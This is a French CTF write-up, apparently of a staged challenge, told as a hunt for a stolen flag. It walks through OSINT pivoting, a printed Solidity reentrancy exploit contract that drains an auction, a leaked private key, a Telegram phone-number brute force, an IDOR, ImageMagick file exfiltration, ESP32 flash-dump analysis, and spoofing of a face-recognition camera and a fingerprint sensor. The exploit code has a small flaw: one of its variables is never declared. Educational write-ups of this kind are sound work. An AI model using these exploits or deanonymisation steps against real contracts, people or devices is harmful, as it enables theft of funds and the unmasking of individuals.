Disparition inquiétante de notre drapeau …

Les Pires Hat
17 min readMar 26, 2024

--

Le mercredi 3 mai 2023, de bon matin, notre équipe a reçu une vidéo étrange.

Face à ces menaces des plus sérieuses, nous avons décidé de mener l’enquête

On commence par chercher à comprendre ce que nous dit cet énergumène dans la vidéo et ce qu’il nous veut. À l’aide de n’importe quel OCR, on traduit les sous-titres en cyrillique :

On ne vous apprécie pas Les Pires Hat, regardez ce qu’on a là (en parlant du drapeau), on va vous faire morfler vous n’êtes pas prêts. Cyka Blyat !

Ce groupe a l’air de vouloir se cacher étant donné qu’ils ont des cagoules et ont flouté le lieu depuis lequel la vidéo a été tournée.

Cependant, en utilisant des outils de recherche d’image inversée, on retrouve très aisément ce refuge.

Yandex Images arrive ici à le trouver rapidement contrairement à Google Lens et Bing Images :

On connaît maintenant le lieu des malfrats : le refuge de Pombie.

À partir de là, il va falloir essayer de pivoter depuis ce lieu et voir où peut-il être référencé. Ces malfrats ont forcément fait des erreurs et laisser des traces.

Après avoir épluché minutieusement les avis Google et n’y trouvant rien, on décide de se focaliser sur Visorando. Ce site y recense notamment toutes les randonnées qui font un passage par le refuge de Pombie.

En épluchant les commentaires de chacune des randonnées, l’une semble particulièrement ressortir.

Le commentaire date de 3 jours précédant la réception de la fameuse vidéo, il a l’air énervé et le pseudo a en préfixe “aleksander” qui sonne russe.

En faisant quelques recherches sur aleksander1336 , on trouve rapidement un compte Twitter :

https://twitter.com/aleksander1336

Environ 35 tweets sont disponibles sur ce compte, et on arrive rapidement à cerner que cette personne se nomme “Aleksander D” et qu’il est passionné de développement web3 et de CTF.

Mais ce n’est pas exactement dans les tweets que l’on trouve la clé qui nous permet d’avancer dans l’enquête, mais bien dans les réponses du compte.

Cet Aleksander a l’air d’avoir un problème avec son compte Discord. Il mentionne le support Discord directement sur Twitter et donne dessus l’ID de son compte : 1099260830928879646

En faisant un rapide tour sur Lookup Discord ID, on retrouve ainsi plus d’informations sur son compte Discord :

On récupère ainsi son pseudo : aleksanderduboich#8415

Avec ce nouveau pseudo, on découvre alors son compte Github :

https://github.com/AleksanderDuboich/

Et plus particulièrement un de ses dépôts Github :

https://github.com/AleksanderDuboich/flag-auction

On peut alors analyser ce dépôt et notamment le INFO.md qui indique le message suivant :

dev address : 0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e

contract address : 0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab

chain id : 1337

node : http://e-corp.fr:35545

service web : http://e-corp.fr:3000

Sur le service web on retrouve un message indiquant qu’une vente aux enchères est en cours :

De plus le réseau est accessible et nous avons sur le dépôt un exemplaire des sources du contrat utilisé pour cette enchère Auction.sol :

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;

contract Auction {
address payable public beneficiary;
uint public auctionEndTime;

address public highestBidder;
uint public highestBid;

mapping(address => uint) public pendingReturns;

bool public ended;

event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);

error AuctionAlreadyEnded();
error BidNotHighEnough(uint highestBid);
error NotEnoughEther();
error AuctionNotYetEnded();
error AuctionEndAlreadyCalled();

constructor(uint biddingTime, address payable beneficiaryAddress) payable {
beneficiary = beneficiaryAddress;
auctionEndTime = block.timestamp + biddingTime;
}

function bid() external payable {
if (block.timestamp > auctionEndTime) revert AuctionAlreadyEnded();

if (msg.value <= highestBid) revert BidNotHighEnough(highestBid);

if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}

function emergencyEnd() external payable {
if (ended) revert AuctionEndAlreadyCalled();

if (msg.value < 11000000 ether) revert NotEnoughEther();

ended = true;
emit AuctionEnded(highestBidder, highestBid);

beneficiary.transfer(highestBid);
}

function withdraw() external {
uint amount = pendingReturns[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
if (success) {
pendingReturns[msg.sender] = 0;
}
}

function end() external {
if (block.timestamp < auctionEndTime) revert AuctionNotYetEnded();
if (ended) revert AuctionEndAlreadyCalled();

ended = true;
emit AuctionEnded(highestBidder, highestBid);

beneficiary.transfer(highestBid);
}

receive() external payable {}

fallback() external payable {}
}

C’est un contrat d’enchère très basique :

  • L’enchère se termine normalement après le auctionEndTime avec la méthode end(), le gagnant est désigné et le montant de son enchère est transféré au bénéficiaire
  • Il est possible de placer une enchère avec la méthode bid()
  • Il est possible de récupérer le montant de son enchère, s’il ne s’agit pas de la plus grosse
  • Une méthode emergencyEnd() permet de payer 11 000 000 ETH afin de stopper l’enchère immédiatement, le gagnant est toujours celui qui a placé la plus grosse enchère

Ce jeune développeur web3 semble déterminé à tirer un maximum de profit de notre drapeau…

De plus une communication vocale d’un service de renseignement nous indique qu’un enchérisseur est prêt à payer beaucoup pour obtenir ce drapeau : il placera une enchère de 11 000 000 ETH après la première enchère.

Le premier obstacle pour notre équipe est de trouver un moyen d’interagir avec le contrat d’enchère mais pour cela il faut un portefeuille avec quelques ETH.

Par chance, un commit dans l’historique du fichier INFO.md sur le dépôt révèle une erreur grossière de la part du développeur des enchères :

dev address : 0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e
dev key : 0xb0057716d5917badaf911b193b12b910811c1497b5bada8d7711f758981c3773

contract address : 0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab

chain id : 1337
node : http://e-corp.fr:35545

service web : http://e-corp.fr:3000

Sa clé privée a été envoyée sur le dépôt Github, on peut donc utiliser son portefeuille de développement afin d’interagir avec le contrat d’enchère.

On ajoute le réseau et le portefeuille sur Metamask :

Le portefeuille à notre disposition possède : 10 000 000 ETH

Le contrat d’enchère possède : 27 000 000 ETH

Le contrat nous indique que la fin de l’enchère a lieu trop loin dans le futur : il faudra trouver un moyen d’utiliser la méthode de fin anticipée.

En analysant les sources du contrat, on remarque une vulnérabilité commune :

function withdraw() external {
uint amount = pendingReturns[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
if (success) {
pendingReturns[msg.sender] = 0;
}
}

Cette fonction withdraw() permet de récupérer le montant de son enchère, si une surenchère a été placée par quelqu’un d’autre.

Cependant le montant à rembourser est réinitialisé seulement après la récupération et l’envoi au destinataire des fonds, sans mécanisme de verrou :

function withdraw() external {
uint amount = pendingReturns[msg.sender]; // retrieve the value
(bool success, ) = msg.sender.call{value: amount}(""); // send the value
if (success) {
pendingReturns[msg.sender] = 0; // set the value to 0
}
}

Si le destinataire est un contrat qui réimplémente la méthode receive() qui permet de recevoir des fonds, alors il peut rappeler la méthode withdraw() afin de créer une boucle car le montant dans pendingReturns[msg.sender] n’est pas remis à zéro avant la réentrée dans la fonction withdraw(). On peut donc vider le contrat d’enchère.

On parle alors d’attaque de réentrée.

Avec toutes les informations réunis :

  • On a un portefeuille avec 10 000 000 ETH
  • Le contrat possède 27 000 000 ETH
  • Un enchérisseur va miser 11 000 000 ETH après la prochaine enchère
  • Le contrat de l’enchère est vulnérable à une attaque de réentrée sur la méthode withdraw()
  • Avec assez d’ETH il est possible de placer la plus grosse enchère et de stopper l’enchère immédiatement avec la méthode emergencyEnd()

La stratégie d’exploitation est donc la suivante :

  • Initialiser un contrat avec les méthodes pour placer une enchère et attendre la surenchère
  • Effectuer l’attaque de réentrée sur la méthode withdraw() jusqu’à avoir un montant suffisant et retirer les fonds vers notre portefeuille
  • Utiliser les fonds volés pour placer la plus grosse enchère avec notre portefeuille
  • Déclencher la fin de l’enchère avec la méthode emergencyEnd() pour 11 000 000 ETH

Il nous faut donc assez pour placer la plus grosse enchère (soit 11 000 001 ETH + 11 000 000 ETH) afin de déclencher la fin d’urgence de l’enchère, donc plus de 22 000 001 ETH au total.

On peut alors imaginer le contrat suivant :

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;

interface IAuction {
function bid() external payable;
function withdraw() external;
function pendingReturns(address _address) external view returns (uint);
}

contract AuctionExploit {
IAuction public auction;
address public attacker;

constructor(address _auctionAddress) {
auction = IAuction(_auctionAddress);
attacker = msg.sender;
}

receive() external payable {
if (address(auction).balance >= 9000000 ether) {
auction.withdraw();
}
}

function attack() external {
auction.withdraw();
}

function init() external payable {
stealAmount = msg.value;
auction.bid{value: stealAmount}();
}

function withdrawStolenFunds() external {
payable(attacker).transfer(address(this).balance);
}

function checkPendingReturns() external view returns (uint) {
return auction.pendingReturns(address(this));
}
}

Avec ce contrat il faut :

  • Déployer le contrat avec l’adresse de l’enchère en argument
  • Initialiser (et payer) le scénario d’attaque avec une première enchère depuis le contrat avec la méthode init(), son montant est égal au montant qui sera récupéré à chaque itération de l’attaque de réentrée
  • Attendre la surenchère de l’autre enchérisseur afin de pouvoir utiliser withdraw() avec le contrat
  • Déclencher l’attaque avec la méthode attack()
  • Récupérer les fonds vers le portefeuille initial avec withdrawStolenFunds()

Nous pouvons donc retourner sur Remix afin d’appliquer la stratégie définie :

On initialise l’attaque avec 9 000 000 ETH et ça fonctionne !

On peut alors terminer l’enchère après avoir posé une enchère.

Nous avons remporté l’enchère mais l’organisateur est malhonnête, sur le service web nous pouvons désormais lire le message suivant :

Cette enchère nous permet au moins de découvrir un nouveau pseudo : Fan2Drapeaux.

Une rapide recherche en OSINT nous permet de trouver un compte Reddit.

https://www.reddit.com/user/Fan2Drapeaux/

On y découvre en biographie un compte Telegram sous le même pseudo.

https://t.me/Fan2Drapeaux

Pour l’instant, rien d’intéressant sur le Telegram. Concentrons-nous sur les publications Reddit. La première nous confirme que cette personne a bien l’air d’avoir récupéré notre drapeau.

La seconde publication nous renvoie vers un screenshot sur Flickr.

https://www.flickr.com/photos/198183854@N06/52835724818/

La description Flickr nous apprend que cette image a été rognée avant d’être publiée.

Or, il y a de cela 4 mois, une vulnérabilité se nommant aCropalypse a été publiée au grand jour (CVE 2023–21036). Pour faire simple, il a été dévoilé qu’on pouvait retrouver l’image originale en ayant uniquement l’image rognée (si c’était rogné sur un Google Pixel ou avec l’outil Snipping Tool de Windows 11).

On télécharge donc l’image originale pour voir si on ne peut pas trouver plus d’informations sur Fan2Drapeaux.

On se rend alors compte que cette image est en .gif

Au bout de quelques recherches, ne baissant pas les bras, on découvre que les images en .gif peuvent également être affectées par cette vulnérabilité.

On utilise alors l’outil https://github.com/heriet/acropalypse-gif pour essayer de récupérer l’image originale.

https://github.com/heriet/acropalypse-gif

Un fichier semble bien être sorti, on va directement voir le résultat.

image restaurée en exploitant aCropalypse

On découvre alors qu’on a bien réussit à retrouver l’image originale. Cela permet notamment de découvrir un numéro de téléphone, en tout cas en partie : 0771???258

Ayant une partie de son numéro de téléphone ainsi que son pseudo Telegram (Fan2Drapeaux), il nous est alors possible d’utiliser la CVE-2019–15514 pour bruteforce ces 3 derniers caractères avec l’API Telegram et ainsi trouver le numéro complet de ce malfrat qui a notre drapeau.

https://github.com/bibi1959/CVE-2019-15514

Après avoir configuré l’outil, on lance donc l’attaque :

En environ 20 secondes, on trouve alors le numéro complet ! C’est le 33771434258

On recherche alors ce numéro sur Google pour voir si on ne peut pas récupérer plus d’informations.

Le premier site semble le référencer, en allant dessus on découvre ceci :

https://www.signal-arnaques.com/scam/view/640861

Une personne semble avoir enregistré un échange audio avec ce numéro de téléphone, et l’a mis sur Vocaroo https://vocaroo.com/13TciP3hClcy

https://vocaroo.com/13TciP3hClcy

Voici la retranscription écrite de l’audio :

“Vous êtes fous, me contactez pas par téléphone ! Utilisez la fréquence 89.5 comme on a vu au briefing”

Par chance, nous avons toujours notre récepteur radio sur nous, nous le réglons sur cette fréquence… mais rien.

Ne comprenant pas cette affaire de fréquence, on repart sur le Reddit pour voir si nous n’avons pas loupé des informations.

On vérifie si le compte n’a pas eu des archivages sur Wayback Machine.

https://web.archive.org/web/20230000000000*/https://www.reddit.com/user/Fan2Drapeaux/

Malheureusement, rien dessus, on double-vérifie en allant également sur archive.is, peut-être que nous aurons plus de chances dessus

Bingo ! Il y a bien une capture de présente.

https://archive.is/zZ1Hh

On découvre alors une 3ème publication qu’on ne voyait pas sur Reddit car Fan2Drapeaux l’a sûrement supprimé.

https://archive.is/8pQ4a

On fait alors la découverte d’un nouveau site ! Ces malfrats ont apparemment créé un site sur Tor :

fuck2lph5ubhghefpxg3xfbpw5fqxeiqnrqvn2uuss5mpts3po6jeryd.onion

Allons investiguer dessus.

Ce site semble être un forum à l’ancienne sur lequel des membres s’échangent des informations.

Plusieurs fonctionnalités sont disponibles :

  • lire des posts
  • poster un meme anonyme
  • lister des utilisateurs

La route /posts ne retourne que les publications avec une visibilité publique :

Cependant la route /users semble autoriser l’inclusion des posts via /users/posts ce qui permet un accès direct non sécurisé aux posts (IDOR) :

Grâce à cette IDOR on peut visualiser les posts privés, notamment un message avec un lien permettant de télécharger le code source d’une bombe et d’un coffre.

On apprend aussi que ce groupe prépare une attaque et qu’ils ont les plans de l’endroit visé, stockés sur le serveur à ce chemin :

  • /app/secret/conde_plan.pdf

Nous pouvons alors exploiter une vulnérabilité (CVE 2022–44268) https://hackerone.com/reports/1858574 dans ImageMagick utilisé pour le redimensionnement des images lors du post d’un meme anonyme.

Cet exploit permet d’exfiltrer le contenu d’un fichier local en passant son chemin dans la métadonnée “profile” d’une image qui sera traitée par ImageMagick. Le contenu est alors accessible dans le contenu de l’image traitée.

Ainsi nous pouvons exfiltrer le plan du bâtiment.

Nous nous rendons donc au 3ème étage du bâtiment et commençons à chercher des indices.

Soudain, notre radio capte un signal faible. Nous cherchons la source du signal. Le signal devient audible via notre récepteur, cela ressemble à une étrange conversation avec une phrase qui retient notre attention.

“Le drapeau est en sécurité, ils ne sont pas prêt de le récupérer”

Nous somme sur la bonne voie.

À force de se rapprocher sur signal, nous arrivons dans une pièce isolée.

À l’intérieur nous découvrons le relai radio, que nous déconnectons immédiatement pour couper la communication des voleurs.

Image de l’émetteur après avoir changé la fréquence

Durant la fouille de cette pièce nous trouvons :

  • Un dossier contenant les fiches volées des criminels
  • Un coffre fort, dissimulé dans une baie réseau
Dossier contenant les fiches des criminels
Coffre caché dans la baie réseau de la pièce

Notre drapeau est certainement dans ce coffre. Il ne ressemble pas à un coffre fort normal, il a sûrement été modifié.

Nous comprenons que l’archive trouvée précédemment correspond au code source du firmware de ce coffre. Nous commençons à analyser le code, il s’agit d’un projet Arduino destiné à un microcontrôleur ESP32.

D’après son firmware, le coffre dispose de différentes fonctionnalités:

  • une camera utilisée pour de la reconnaissance faciale
  • un capteur d’empreinte digitale
  • une carte SD utilisée pour stocker les images des visages
  • un point d’accès Wifi
  • une interface web

Nous détectons effectivement un point d’accès “biometric-safe”, nous cherchons le mot de passe.

Il semble initialisé par un fichier stocké dans la système de fichier SPIFFS du microcontrôleur. SPIFFS signifie Serial Peripheral Interface Flash File System, c’est un système de fichier embarqué qui utilise une partie de la mémoire flash qui n’est pas occupée par le code du firmware.

Il est donc impossible de le trouver uniquement avec le code.

Heureusement un dump de la mémoire flash est également présent dans l’archive. Nous le trouvons avec une simple recherche textuelle du SSID dans le dump mémoire.

Nous pouvons maintenant nous connecter au point d’accès. Il nous donne une IP. En essayant d’accéder l’interface web nous rencontrons un deuxième obstacle, une authentification HTTP basique.

Cette fois, les informations sont stockées dans la partie NVS de la mémoire. Cette partie de la mémoire ne contient pas de système de fichiers, mais une association clé/valeur.

Nous utilisons l’outil https://github.com/tenable/esp32_image_parser pour extraire et formater le contenu de la mémoire.

Une fois le mot de passe trouvé, nous pouvons enfin accéder à l’interface web.

Il s’agit d’une simple page affichant les visages contenus sur la carte SD.

Il n’y en a qu’un que nous reconnaissons immédiatement, c’est l’un des criminels présents sur les fiches trouvées au 3ème étage.

Analyse des éléments présents sur les fiches du dossier

Étant donné les capacités réduite du microcontrôleur, la reconnaissance faciale semble plutôt basique, nous essayons donc de berner la reconnaissance faciale en présentant directement la photo de la fiche devant la caméra.

Après une dizaine d’essais (avec l’aide de la lumière d’un téléphone) le coffre valide le visage ! Nous avons passé la 1ère étape, le capteur d’empreinte digitale est maintenant activé.

Il s’agit d’un capteur optique, plus facilement manipulable que les capteurs capacitif. Il s’agit grossièrement d’un appareil photo capturant une image éclairée par une lumière rasante, faisant ressortir uniquement les reliefs de l’objet poser sur la vitre du capteur.

De plus, nous pouvons voir dans le code que le capteur a été paramétré de manière permissive.

Nous disposons des empreintes des criminels sur des fiches plastifiées jointes aux dossiers.

Empreintes digitales des criminels

Il faut trouver un moyen de transposer l’empreinte pour la rendre visible par le capteur. Poser la feuille plastique sur le capteur ne suffit pas.

Heureusement nous trouvons un tutoriel dans les tweets d’un des malfrats trouvés précédemment :

La pièce où nous nous trouvons est une réserve, contenant pas mal de matériel de bureau (feutres, feuilles, scotch, colle, trombones, tournevis…)

Nous allons utiliser cette technique simple : un briquet et de la colle chaude.

En chauffant l’extrémité du bâton de colle, sa surface devient liquide (nous commençons à ressentir les effluves de la colle), nous l’appliquons aussitôt sur l’empreinte présente sur la fiche plastique, puis la laissons refroidir.

Cette technique est assez basique mais peut tromper certain capteurs optiques dont la configuration est assez permissive.

Une fois solidifiée, nous la décollons. Le toner représentant l’empreinte reste figé dans la colle, c’est ce que nous recherchions.

Il nous reste juste à appliquer le bâton de colle avec l’empreinte sur le lecteur.

L’empreinte est validée !

D’après le code, il suffit maintenant d’appuyer sur le bouton pour ouvrir le coffre.

Seulement voilà, juste après l’ouverture, la fonction “trigger_bomb” sera appelée, ce qui n’augure rien de bon.

Nous continuons donc l’analyse du code avant de l’ouvrir, car il semble piégé.

La fonction en question envoie un signal haut sur une pin spécifique puis transmet un étrange message via le protocole série (UART).

Le signal correspond à un mélange des chiffres 1,2,3 et 4 présents dans une variable appelée “wires”.

La valeur de ce signal semble être envoyée à une bombe à l’intérieur du coffre, peut-être un mécanisme d’auto-destruction.

Avant l’envoi du signal, la fonction “shuffle_order” est appelée. Cette fonction effectue le mélange à l’aide de l’algorithme de pseudo randomisation park-miller. C’est un algorithme qui permet de générer des nombres pseudo aléatoires à partir d’une seed.

La seed utilisée est le résultat retourné par la fonction “millis” divisé par 10000. Une rapide recherche nous permet de trouver dans la documentation d’Arduino que cette fonction retourne le nombre de millisecondes écoulé depuis le démarrage du microcontrôleur.

Cette valeur est relativement facile à contrôler. Cela signifie qu’une fois cette valeur connue, nous seront en mesure de retrouver les nombres générés pseudo aléatoirement.

Nous ne savons pas depuis quand le coffre est installé ici. Mais étant donné qu’il est connecté à une simple prise de courant, nous pouvons le débrancher puis le rebrancher, en démarrant un chronomètre simultanément, ainsi nous pourrons connaître approximativement la valeurs retournée par “millis” au moment de l’ouverture.

Cette valeur étant divisée par 10 000 avant son utilisation comme seed, la précision ne sera pas importante, car seules les tranches de 10 secondes seront comptabilisées.

Le coffre ayant redémarré, nous refaisons les étapes de reconnaissance faciale et d’empreinte digitale. Nous somme maintenant prêts.

Le coffre est branché depuis 231 secondes, nous appuyons sur le bouton d’ouverture, en lançant simultanément la fonction de pseudo randomisée sur notre ordinateur, en utilisant la seed “23”. Cela nous donne le résultat “3142”.

Au même moment la porte du coffre s’ouvre… nous apercevons une énorme bombe dont le détonateur se déclenche immédiatement !
IL AFFICHE 60 SECONDES !

Reconstitution de l’ouverture du coffre

Au sommet de la bombe, il y a 4 fils entortillés, ils semblent correspondre à la variable wires, l’étrange signal est donc sûrement l’ordre des fils à débrancher pour désamorcer la bombe.

Nous attrapons une pince coupante, puis commençons à couper les fils :

  • le 3ème 😬
  • le 1er 😰
  • le 4ème 🥵
  • le 2ème 😱

VICTOIRE 🎉 le compte à rebours se fige !

--

--